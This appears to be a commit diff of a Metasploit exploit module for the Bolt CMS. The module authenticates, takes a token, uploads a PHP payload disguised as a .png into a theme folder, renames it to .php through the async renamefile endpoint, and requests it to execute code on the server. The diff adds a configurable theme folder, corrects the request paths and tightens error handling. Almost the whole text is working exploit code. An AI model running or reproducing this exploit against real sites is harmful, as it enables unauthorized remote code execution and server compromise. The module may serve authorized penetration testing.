@@ -39,15 +39,17 @@ def initialize(info = {})
39
39
40
40
register_options (
41
41
[
42
- OptString . new ( 'USERNAME' , [ true , 'The username to authenticate with' ] ) ,
43
- OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate with' ] )
42
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to the web application' , '/' ] ) ,
43
+ OptString . new ( 'FOLDERNAME' , [ true , 'The theme path to web application (base-2014 is default)' , 'base-2014' ] ) ,
44
+ OptString . new ( 'USERNAME' , [ true , 'The username to authenticate with' ] ) ,
45
+ OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate with' ] )
44
46
] , self . class )
45
47
end
46
48
47
49
def check
48
50
res = send_request_cgi (
49
51
'method' => 'GET' ,
50
- 'uri' => normalize_uri ( target_uri . path , 'bolt' , 'bolt' , ' login')
52
+ 'uri' => normalize_uri ( target_uri . path , 'bolt' , 'login' )
51
53
)
52
54
53
55
if res && res . code == 200 && res . body . include? ( 'Cookies are required to log on to Bolt' )
@@ -64,22 +66,23 @@ def password
64
66
datastore [ 'PASSWORD' ]
65
67
end
66
68
69
+ def fname
70
+ datastore [ 'FOLDERNAME' ]
71
+ end
72
+
67
73
def bolt_login ( user , pass )
68
74
res = send_request_cgi (
69
75
'method' => 'GET' ,
70
- 'uri' => normalize_uri ( target_uri . path , 'bolt' , 'bolt' , ' login')
76
+ 'uri' => normalize_uri ( target_uri . path , 'bolt' , 'login' )
71
77
)
72
78
73
- unless res
74
- print_error ( "#{ peer } - No response from server." )
75
- return
76
- end
79
+ fail_with ( Failure ::Unreachable , 'No response received from the target.' ) unless res
77
80
78
81
session_cookie = res . get_cookies
79
82
vprint_status ( "#{ peer } - Logging in..." )
80
83
res = send_request_cgi (
81
84
'method' => 'POST' ,
82
- 'uri' => normalize_uri ( target_uri . path , 'bolt' , 'bolt' , ' login') ,
85
+ 'uri' => normalize_uri ( target_uri . path , 'bolt' , 'login' ) ,
83
86
'cookie' => session_cookie ,
84
87
'vars_post' => {
85
88
'username' => user ,
@@ -88,16 +91,14 @@ def bolt_login(user, pass)
88
91
}
89
92
)
90
93
91
- if res && res . code == 302 && res . redirection . to_s . include? ( '/bolt/bolt' )
92
- return res . get_cookies
93
- end
94
+ return res . get_cookies if res && res . code == 302 && res . redirection . to_s . include? ( '/bolt' )
94
95
nil
95
96
end
96
97
97
- def get_token ( cookie )
98
+ def get_token ( cookie , fname )
98
99
res = send_request_cgi (
99
100
'method' => 'GET' ,
100
- 'uri' => normalize_uri ( target_uri , 'bolt' , 'bolt' , ' files', 'theme' , 'base-2014' ) ,
101
+ 'uri' => normalize_uri ( target_uri , 'bolt' , 'files' , 'theme' , fname ) ,
101
102
'cookie' => cookie
102
103
)
103
104
@@ -107,39 +108,32 @@ def get_token(cookie)
107
108
nil
108
109
end
109
110
110
- def rename_payload ( cookie , payload )
111
+ def rename_payload ( cookie , payload , fname )
111
112
res = send_request_cgi (
112
113
'method' => 'POST' ,
113
- 'uri' => normalize_uri ( target_uri . path , 'bolt' , ' async', 'renamefile' ) ,
114
+ 'uri' => normalize_uri ( target_uri . path , 'async' , 'renamefile' ) ,
114
115
'vars_post' => {
115
116
'namespace' => 'theme' ,
116
- 'parent' => 'base-2014' ,
117
+ 'parent' => fname ,
117
118
'oldname' => "#{ payload } .png" ,
118
119
'newname' => "#{ payload } .php"
119
120
} ,
120
121
'cookie' => cookie
121
122
)
122
123
123
- if res && res . code == 200
124
- return true
125
- end
124
+ return true if res && res . code == 200 && res . body . include? ( '1' )
126
125
nil
127
126
end
128
127
129
128
def exploit
130
- vprint_status ( "#{ peer } - Authenticating using #{ username } :#{ password } ..." )
129
+ vprint_status ( "#{ peer } - Authenticating using #{ username } :#{ password } " )
130
+
131
131
cookie = bolt_login ( username , password )
132
- if cookie . nil?
133
- print_error ( "#{ peer } - Failed to authenticate with Bolt" )
134
- return
135
- end
132
+ fail_with ( Failure ::NoAccess , 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.' ) if cookie . nil?
136
133
vprint_good ( "#{ peer } - Authenticated with Bolt." )
137
134
138
- token = get_token ( cookie )
139
- if token . nil?
140
- print_error ( "#{ peer } - No token found." )
141
- return
142
- end
135
+ token = get_token ( cookie , fname )
136
+ fail_with ( Failure ::Unknown , 'No token found.' ) if token . nil?
143
137
vprint_good ( "#{ peer } - Token \" #{ token } \" found." )
144
138
145
139
vprint_status ( "#{ peer } - Preparing payload..." )
@@ -153,34 +147,27 @@ def exploit
153
147
vprint_status ( "#{ peer } - Uploading payload..." )
154
148
res = send_request_cgi (
155
149
'method' => 'POST' ,
156
- 'uri' => normalize_uri ( target_uri , 'bolt' , 'bolt' , ' files', 'theme' , 'base-2014' ) ,
150
+ 'uri' => normalize_uri ( target_uri , 'bolt' , 'files' , 'theme' , fname ) ,
157
151
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
158
152
'data' => post_data ,
159
153
'cookie' => cookie
160
154
)
161
155
162
- if res && res . code == 302
163
- vprint_good ( "#{ peer } - Uploaded the payload" )
164
-
165
- rename = rename_payload ( cookie , payload_name )
166
- if rename . nil?
167
- vprint_error ( "#{ peer } - No renamed filename" )
168
- return
169
- end
170
-
171
- php_file_name = "#{ payload_name } .php"
172
- payload_url = normalize_uri ( target_uri . path , 'bolt' , 'theme' , 'base-2014' , php_file_name )
173
- vprint_good ( "#{ peer } - Parsed response" )
174
-
175
- register_files_for_cleanup ( php_file_name )
176
- vprint_status ( "#{ peer } - Executing the payload at #{ payload_url } " )
177
- send_request_cgi (
178
- 'uri' => payload_url ,
179
- 'method' => 'GET'
180
- )
181
- vprint_good ( "#{ peer } - Executed payload" )
182
- else
183
- print_error ( "#{ peer } - Exploit failed. Aborting." )
184
- end
156
+ fail_with ( Failure ::Unknown , 'Unable to upload payload.' ) unless res && res . code == 302
157
+ vprint_good ( "#{ peer } - Uploaded the payload." )
158
+
159
+ rename = rename_payload ( cookie , payload_name , fname )
160
+ fail_with ( Failure ::Unknown , 'No renamed filename.' ) if rename . nil?
161
+
162
+ php_file_name = "#{ payload_name } .php"
163
+ payload_url = normalize_uri ( target_uri . path , 'theme' , fname , php_file_name )
164
+ vprint_status ( "#{ peer } - Parsed response." )
165
+
166
+ register_files_for_cleanup ( php_file_name )
167
+ vprint_status ( "#{ peer } - Executing the payload at #{ payload_url } ." )
168
+ send_request_cgi (
169
+ 'uri' => payload_url ,
170
+ 'method' => 'GET'
171
+ )
185
172
end
186
173
end
0 commit comments